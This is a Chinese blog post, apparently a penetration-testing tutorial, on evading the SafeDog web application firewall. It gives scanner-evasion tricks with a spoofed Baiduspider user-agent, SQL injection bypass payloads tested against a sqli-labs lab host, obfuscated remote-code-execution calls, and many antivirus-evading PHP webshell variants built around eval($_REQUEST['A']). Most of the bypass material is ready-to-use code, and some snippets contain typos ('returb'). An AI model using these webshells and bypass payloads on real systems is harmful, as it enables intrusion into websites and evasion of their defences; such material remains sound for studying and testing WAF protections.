waf绕过:网络安全狗绕过

引言:

所有的绕过原理都大致一致,但是并不是所有的绕过都能起到作用,渗透测试主要还是一个猜加试的过程,本文仅供参考

网络攻击或扫描绕过

1.get绕过(未开启cc防护)

网络安全狗的默认防护为,拒绝head请求,在扫描工具中大部分使用head请求去收集目录信息,所以改用get请求绕过

2.cc防护绕过

cc防护:和检测流量攻击的原理相同,同一ip并发数过多对其进行禁用
1)延迟绕过:限制扫描速率
2)爬虫引擎:更换User-Agent头
sql 复制代码
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) 
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

sql注入绕过

sql内联注释绕过:针对MySQL

mysql为了兼容其他数据,将mysql的特有语句放入/*!100441 */,其他数据库不执行,但在mysql中正常执行

sql 复制代码
//被拦截
http://192.168.10.111/sqli-labs/Less-1/?id=2 and 1=1
//成功注入
http://192.168.10.111/sqli-labs/Less-1/?id=2' /*!10441and*/ 1=2 --+

特殊符号绕过:

%0a:为换行 %23:为#

sql 复制代码
192.168.10.111/sqli-labs/Less-1/?id=2' --+/*%0a and 1=2 union select 1,2,3%23*/
sql 复制代码
-- 最后展现在sql中的语句为
--+/*
and 1=2 union select 1,2,3 #*/

HPP参数污染:针对apache

因为apach接收数据时允许同名数据,并且最后一个数据为有效值,所以只有第最后一个参数后的语句有效

sql 复制代码
192.168.10.111/sqli-labs/Less-1/?id=2' /*&id=2' and 1=2 union select 1,database(),3 %23*/

RCE绕过

变量拼接绕过

waf对某些特殊字符串进行检测时可以使用

php 复制代码
//如果对phpinfo检测,可以把参数改为
$a='php';$b='info';$c=$a.$b;$c();

编码绕过

php 复制代码
assert(base64_decode('cGhwaW5mbygpOw=='));

字符替换绕过

php 复制代码
assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));

传参绕过

php 复制代码
url:rce_eval.php?str=tem
$b=sys;$c=$_GET['str'];$a=$b.$c;$a('ipconfig');

后渗透绕过(木马免杀)

waf中eval和$_REQUEST同时出现时会被拦截

end免杀

end函数取数组最后一个元素

php 复制代码
eval(end($_REQUEST['A']));

define免杀

php 复制代码
define("b","$_REQUEST['A']");
eval(b);

拼接免杀

php 复制代码
$a='ev';
$b='al';
$c=$a.$b;
$d='c';
$$d($_REQUEST['A']);
//等价于eval($_REQUEST['A']);

函数免杀

php 复制代码
function abc($b){
    returb $b;
}
$a = abc("$_REQUEST['A']");
eval($a);

类定义绕过

php 复制代码
class user{
    $name='';
    function __construct($name){
        $this->name=$name;
    }
    function __destruct(){
        eval($this->name);
    }
}
$a=new user($_REQUEST['A']);

cookie绕过

php 复制代码
$cookie = $_COOKIE;
foreach($cookie as $key => $value){
    if($key=='eval'){
        $key($_REQUEST['A']);
    }
}

预定义函数绕过

php 复制代码
$defun = $get_define_functions();
//使用defun获取assert
$defun['internal'][841]($_REQUEST['A']);

编码绕过

php 复制代码
eval(base64_decode('JF9SRVFVRVNUWydBJ10='));

并不是所有方式都是有用

对于pc防火墙免杀如 火绒、360,也可以使用相同的思路

对于火绒免杀,有效的方法

相关推荐
优泽云安全5 小时前
如何选择IRCS云信息安全管理系统 IRCS云资源评测
linux·服务器·安全·安全架构
zs宝来了5 小时前
Istio mTLS 与零信任网络:Sidecar 证书管理
安全·devsecops·云安全
豆包公子5 小时前
程序流监控:AUTOSAR CP 功能安全在裸机 MCU 上的实现(理论篇)
运维·单片机·嵌入式硬件·安全·车载系统·autosar
小天互连即时通讯6 小时前
政府及企业场景下如何选即时通讯工具:从安全可控到协同效率的实用判断
安全
m0_738120727 小时前
渗透测试基础ctfshow——Web应用安全与防护(五)
前端·网络·数据库·windows·python·sql·安全
其实防守也摸鱼7 小时前
XSS漏洞全景解析:从原理、实战利用到纵深防御
前端·网络·安全·xss·xss漏洞
你觉得脆皮鸡好吃吗8 小时前
Check Anti-CSRF Token (AI)
前端·网络·网络协议·安全·csrf·网络安全学习
威迪斯特8 小时前
项目解决方案:某连锁餐饮集团AI后厨与运营安全建设解决方案
人工智能·安全·项目解决方案·ai实时分析·智能餐饮管理·ai视频识别·智能视频分析硬件
芝士就是力量啊 ೄ೨9 小时前
提高服务器安全-采用密钥公钥登录而非密码登录-详细操作步骤
运维·服务器·安全
虹科网络安全10 小时前
艾体宝方案|为现代化应用构建强大的容器安全体系
安全·开发工具